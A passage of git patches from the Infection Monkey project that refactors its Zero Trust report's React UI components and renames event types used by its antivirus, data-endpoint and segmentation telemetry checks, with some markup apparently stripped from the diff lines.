    ); - } - stillLoadingDataFromServer() { - return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.recommendations === "undefined"; + return typeof this.state.findings === "undefined" + || typeof this.state.pillars === "undefined" + || typeof this.state.recommendations === "undefined"; } getZeroTrustReportFromServer() { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index eed4c0f8c..ebbd09dda 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -8,11 +8,17 @@ import {FindingsTable} from "./FindingsTable"; class FindingsSection extends Component { render() { return ( - +
    +

    Findings

    +

    + Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things + happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper + insight as to what exactly happened during this test. +

    - +
    ); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js new file mode 100644 index 000000000..28fda3f2b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js @@ -0,0 +1,30 @@ +import React, {Component} from "react"; +import SinglePillarRecommendationsStatus from "./SinglePillarRecommendationsStatus"; +import * as PropTypes from "prop-types"; + +export default class RecommendationsSection extends Component { + render() { + + return
    +

    Recommendations

    +

    + Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results + to understand how the monkey tested your adherence to that recommendation. +

    + { + Object.keys(this.props.recommendations).map((pillar) => + + ) + } +
    + } +} + +RecommendationsSection.propTypes = { + recommendations: PropTypes.any, + pillarsToStatuses: PropTypes.any +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js new file mode 100644 index 000000000..4a56a8b9e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js @@ -0,0 +1,52 @@ +import React, {Component} from "react"; +import {Col, Grid, Row} from "react-bootstrap"; +import MonkeysStillAliveWarning from "../common/MonkeysStillAliveWarning"; +import PillarsOverview from "./PillarOverview"; +import ZeroTrustReportLegend from "./ReportLegend"; +import * as PropTypes from "prop-types"; + +export default class SummarySection extends Component { + render() { + return
    +

    Summary

    + + + + +

    + Get a quick glance of the status for each of Zero Trust's seven pillars. +

    + +
    + + + + + + + + + + +

    What am I seeing?

    +

    + The Zero + Trust eXtended framework categorizes its recommendations into 7 pillars. Infection + Monkey + Zero Trust edition tests some of those recommendations. The tests that the monkey executes + produce findings. The tests, recommendations and pillars are then granted a status in + accordance + with the tests results. +

    + +
    +
    +
    + } +} + +SummarySection.propTypes = { + allMonkeysAreDead: PropTypes.bool, + pillars: PropTypes.object +}; From f05178baebc84835e1bf45c1cdcd4fb9858e519e Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 14:47:49 +0300 Subject: [PATCH 24/30] Fixed proptypes --- .../report-components/zerotrust/RecommendationsSection.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js index 28fda3f2b..c8d160cb8 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js @@ -25,6 +25,6 @@ export default class RecommendationsSection extends Component { } RecommendationsSection.propTypes = { - recommendations: PropTypes.any, - pillarsToStatuses: PropTypes.any + recommendations: PropTypes.object, + pillarsToStatuses: PropTypes.object }; From cdc72eace718bc34b548422c5ff7e289e6813c87 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 14:52:14 +0300 Subject: [PATCH 25/30] Renamed overview to section --- .../components/report-components/zerotrust/FindingsSection.js | 2 +- .../report-components/zerotrust/RecommendationsSection.js | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index ebbd09dda..b90ccd6dc 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -8,7 +8,7 @@ import {FindingsTable} from "./FindingsTable"; class FindingsSection extends Component { render() { return ( -
    +

    Findings

    Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js index c8d160cb8..e83d1c4cc 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js @@ -4,8 +4,7 @@ import * as PropTypes from "prop-types"; export default class RecommendationsSection extends Component { render() { - - return

    + return

    Recommendations

    Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results From 4d50f0d8de2cb72e1fa91684e7aa678f1af5a7f8 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 15:05:34 +0300 Subject: [PATCH 26/30] Map status to finding instead of calling function 3 times --- .../zerotrust/FindingsSection.js | 27 ++++++++++++++++--- 1 file changed, 23 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index b90ccd6dc..d86f5cb06 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -1,12 +1,30 @@ import React, {Component, Fragment} from "react"; import PillarLabel from "./PillarLabel"; import EventsButton from "./EventsButton"; -import {ZeroTrustStatuses} from "./ZeroTrustPillars"; +import ZeroTrustPillars, {ZeroTrustStatuses} from "./ZeroTrustPillars"; import {FindingsTable} from "./FindingsTable"; class FindingsSection extends Component { + mapFindingsByStatus() { + const statusToFindings = {}; + for (const key in ZeroTrustStatuses) { + statusToFindings[ZeroTrustStatuses[key]] = []; + } + + this.props.findings.map((finding) => { + // Deep copy + const newFinding = JSON.parse(JSON.stringify(finding)); + newFinding.pillars = newFinding.pillars.map((pillar) => { + return {name: pillar, status: this.props.pillarsToStatuses[pillar]} + }); + statusToFindings[newFinding.status].push(newFinding); + }); + return statusToFindings; + } + render() { + const findingsByStatus = this.mapFindingsByStatus(); return (

    Findings

    @@ -15,9 +33,10 @@ class FindingsSection extends Component { happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper insight as to what exactly happened during this test.

    - - - + + + +
    ); } From d7543e111717362e480a51b22e42b0ecb85e9220 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 15:38:57 +0300 Subject: [PATCH 27/30] Extracted magic numbers to consts and deleted unused css file --- .../zerotrust/FindingsTable.js | 10 ++++--- .../zerotrust/PillarLabel.js | 1 - .../zerotrust/RecommendationsStatusTable.js | 4 +-- .../cc/ui/src/styles/ZeroTrustPillars.css | 27 ------------------- 4 files changed, 8 insertions(+), 34 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/styles/ZeroTrustPillars.css diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 924ddf631..acff1df89 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -5,6 +5,8 @@ import * as PropTypes from "prop-types"; import PillarLabel from "./PillarLabel"; import EventsButton from "./EventsButton"; +const EVENTS_COLUMN_MAX_WIDTH = 160; +const PILLARS_COLUMN_MAX_WIDTH = 200; const columns = [ { columns: [ @@ -18,7 +20,7 @@ const columns = [ accessor: x => { return ; }, - maxWidth: 160, + maxWidth: EVENTS_COLUMN_MAX_WIDTH, }, { @@ -30,7 +32,7 @@ const columns = [ ); return
    {pillarLabels}
    ; }, - maxWidth: 200, + maxWidth: PILLARS_COLUMN_MAX_WIDTH, style: {'whiteSpace': 'unset'} }, ] @@ -41,8 +43,8 @@ const columns = [ export class FindingsTable extends Component { render() { return -

    {
    -
    } tests' findings

    +

    { + } tests' findings

    } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js index 0724f9a13..51c5ca380 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js @@ -1,5 +1,4 @@ import React, {Component} from "react"; -import 'styles/ZeroTrustPillars.css' import {statusToLabelType} from "./StatusLabel"; import * as PropTypes from "prop-types"; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js index e2f9259de..e1ba3f814 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js @@ -1,12 +1,12 @@ import React, {Fragment} from "react"; import PaginatedTable from "../common/PaginatedTable"; import AuthComponent from "../../AuthComponent"; -import 'styles/ZeroTrustPillars.css' import StatusLabel from "./StatusLabel"; import * as PropTypes from "prop-types"; import {ZeroTrustStatuses} from "./ZeroTrustPillars"; +const MAX_WIDTH_STATUS_COLUMN = 80; const columns = [ { columns: [ @@ -14,7 +14,7 @@ const columns = [ accessor: x => { return ; }, - maxWidth: 80 + maxWidth: MAX_WIDTH_STATUS_COLUMN }, { Header: 'ZT Recommendation', accessor: 'recommendation', style: {'whiteSpace': 'unset'} // This enables word wrap diff --git a/monkey/monkey_island/cc/ui/src/styles/ZeroTrustPillars.css b/monkey/monkey_island/cc/ui/src/styles/ZeroTrustPillars.css deleted file mode 100644 index 09b5289dc..000000000 --- a/monkey/monkey_island/cc/ui/src/styles/ZeroTrustPillars.css +++ /dev/null @@ -1,27 +0,0 @@ -.label-zt-data { - background-color: #FAD02C !important; -} - -.label-zt-people { - background-color: #507581 !important; -} - -.label-zt-networks { - background-color: #746233 !important; -} - -.label-zt-devices { - background-color: #2F3B29 !important; -} - -.label-zt-workloads { - background-color: #0C1440 !important; -} - -.label-zt-analytics { - background-color: #6B8836 !important; -} - -.label-zt-automation { - background-color: #B4BC82 !important; -} From 68d185f5fd94ddc6f40dfaa79920e2b6681a19dc Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 16:00:04 +0300 Subject: [PATCH 28/30] Added new icons for timeline events types (and deleted the Island event type) --- monkey/common/data/zero_trust_consts.py | 3 +-- .../monkey_island/cc/models/zero_trust/test_event.py | 6 +++--- .../telemetry/zero_trust_tests/antivirus_existence.py | 4 ++-- .../telemetry/zero_trust_tests/data_endpoints.py | 6 +++--- .../telemetry/zero_trust_tests/segmentation.py | 5 ++--- .../report-components/zerotrust/EventsTimeline.js | 11 ++++++----- .../ui/src/images/zerotrust/im-alert-machine-icon.svg | 1 + .../ui/src/images/zerotrust/im-alert-network-icon.svg | 1 + 8 files changed, 19 insertions(+), 18 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg create mode 100644 monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 18c02e818..6742f435f 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -129,10 +129,9 @@ TESTS_MAP = { }, } -EVENT_TYPE_ISLAND = "island" EVENT_TYPE_MONKEY_NETWORK = "monkey_network" EVENT_TYPE_MONKEY_LOCAL = "monkey_local" -EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK, EVENT_TYPE_ISLAND) +EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK) PILLARS_TO_TESTS = { DATA: [], diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py index 2542df8ef..c0742407d 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_event.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -1,6 +1,6 @@ from mongoengine import ValidationError -from common.data.zero_trust_consts import EVENT_TYPE_ISLAND +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.testing.IslandTestCase import IslandTestCase @@ -14,7 +14,7 @@ class TestEvent(IslandTestCase): _ = Event.create_event( title=None, # title required message="bla bla", - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_NETWORK ) with self.assertRaises(ValidationError): @@ -28,5 +28,5 @@ class TestEvent(IslandTestCase): _ = Event.create_event( title="skjs", message="bla bla", - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_NETWORK ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py index acfdf1643..588a31962 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -1,6 +1,6 @@ import json -from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_ISLAND, \ +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, \ STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event @@ -24,7 +24,7 @@ def test_antivirus_existence(telemetry_json): title="Found AV process", message="The process '{}' was recognized as an Anti Virus process. Process " "details: {}".format(process[1]['name'], json.dumps(process[1])), - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_LOCAL )) if len(av_processes) > 0: diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index a11f7694a..98f968e97 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -30,7 +30,7 @@ def test_open_data_endpoints(telemetry_json): events.append(Event.create_event( title="Scan telemetry analysis", message="Scanned service: {}.".format(service_name), - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_NETWORK )) if service_name in HTTP_SERVERS_SERVICES_NAMES: found_http_server_status = STATUS_FAILED @@ -41,7 +41,7 @@ def test_open_data_endpoints(telemetry_json): telemetry_json["data"]["machine"]["ip_addr"], json.dumps(service_data) ), - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_NETWORK )) if service_name == ES_SERVICE: found_elastic_search_server = STATUS_FAILED @@ -52,7 +52,7 @@ def test_open_data_endpoints(telemetry_json): telemetry_json["data"]["machine"]["ip_addr"], json.dumps(service_data) ), - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_NETWORK )) Finding.save_finding( diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index 552192c23..50e60e493 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -1,8 +1,7 @@ import itertools from six import text_type -from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED, \ - EVENT_TYPE_ISLAND +from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst, get_ip_if_in_subnet from monkey_island.cc.models import Monkey @@ -107,5 +106,5 @@ def get_segmentation_done_event(current_monkey, subnet_pair): hostname=current_monkey.hostname, src_seg=subnet_pair[0], dst_seg=subnet_pair[1]), - event_type=EVENT_TYPE_ISLAND + event_type=EVENT_TYPE_MONKEY_NETWORK ) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js index 9f9e1f899..a7dd1f855 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -2,11 +2,12 @@ import React, {Component} from "react"; import {Timeline, TimelineEvent} from "react-event-timeline"; import * as PropTypes from "prop-types"; +let monkeyLocalIcon = require('../../../images/zerotrust/im-alert-machine-icon.svg'); +let monkeyNetworkIcon = require('../../../images/zerotrust/im-alert-network-icon.svg'); + const eventTypeToIcon = { - "monkey_local": "fa fa-exclamation-circle fa-2x icon-warning", - "monkey_network": "fa fa-exclamation-circle fa-2x icon-warning", - "island": "fa fa-server fa-2x icon-info", - null: "fa fa-question-circle fa-2x icon-info", + "monkey_local": monkeyLocalIcon, + "monkey_network": monkeyNetworkIcon, }; export default class EventsTimeline extends Component { @@ -21,7 +22,7 @@ export default class EventsTimeline extends Component { key={index} createdAt={event_time} title={event.title} - icon={}> + icon={icon}> {event.message} ) }) diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg new file mode 100644 index 000000000..b62f48d5d --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg @@ -0,0 +1 @@ +im-alert-machine-icon \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg new file mode 100644 index 000000000..17d2fb6f6 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg @@ -0,0 +1 @@ +im-alert-network-icon \ No newline at end of file From 871e7b11d77814ebfc7e6fa6ddbd6d022fe8781b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 18:12:08 +0300 Subject: [PATCH 29/30] Updated SVGs --- .../components/report-components/zerotrust/EventsTimeline.js | 1 + .../cc/ui/src/images/zerotrust/im-alert-machine-icon.svg | 2 +- .../cc/ui/src/images/zerotrust/im-alert-network-icon.svg | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js index a7dd1f855..d6723bd4d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -22,6 +22,7 @@ export default class EventsTimeline extends Component { key={index} createdAt={event_time} title={event.title} + icon={icon}> {event.message} ) diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg index b62f48d5d..507541be4 100644 --- a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg @@ -1 +1 @@ -im-alert-machine-icon \ No newline at end of file +im-alert-machine-icon \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg index 17d2fb6f6..50dcc6726 100644 --- a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg +++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg @@ -1 +1 @@ -im-alert-network-icon \ No newline at end of file +im-alert-network-icon \ No newline at end of file From 6e0c974215497e3d9de44b4181baecddb7a90e69 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 18:19:49 +0300 Subject: [PATCH 30/30] Final CR comments, improved doc and extracted a saveJsonToFIle function --- monkey/common/network/segmentation_utils.py | 2 +- .../components/report-components/zerotrust/EventsModal.js | 8 ++++---- .../cc/ui/src/components/utils/SaveJsonToFile.js | 7 +++++++ 3 files changed, 12 insertions(+), 5 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py index aeff7f135..9bbaabf1d 100644 --- a/monkey/common/network/segmentation_utils.py +++ b/monkey/common/network/segmentation_utils.py @@ -15,7 +15,7 @@ def get_ip_if_in_subnet(ip_addresses, subnet): """ :param ip_addresses: IP address list. :param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange - :return: The first IP in ip_addresses which is in the subnet. + :return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None. """ for ip_address in ip_addresses: if subnet.is_in_range(ip_address): diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js index 5da053242..2ce25bf20 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js @@ -2,8 +2,8 @@ import React, {Component} from "react"; import {Modal} from "react-bootstrap"; import EventsTimeline from "./EventsTimeline"; import * as PropTypes from "prop-types"; -import FileSaver from "file-saver"; import ExportEventsButton from "./ExportEventsButton"; +import saveJsonToFile from "../../utils/SaveJsonToFile"; export default class EventsModal extends Component { constructor(props) { @@ -27,9 +27,9 @@ export default class EventsModal extends Component { Close { - const content = JSON.stringify(this.props.events, null, 2); - const blob = new Blob([content], {type: "text/plain;charset=utf-8"}); - FileSaver.saveAs(blob, this.props.exportFilename + ".json"); + const dataToSave = this.props.events; + const filename = this.props.exportFilename; + saveJsonToFile(dataToSave, filename); }}/>
    diff --git a/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js new file mode 100644 index 000000000..6ad124457 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js @@ -0,0 +1,7 @@ +import FileSaver from "file-saver"; + +export default function saveJsonToFile(dataToSave, filename) { + const content = JSON.stringify(dataToSave, null, 2); + const blob = new Blob([content], {type: "text/plain;charset=utf-8"}); + FileSaver.saveAs(blob, filename + ".json"); +}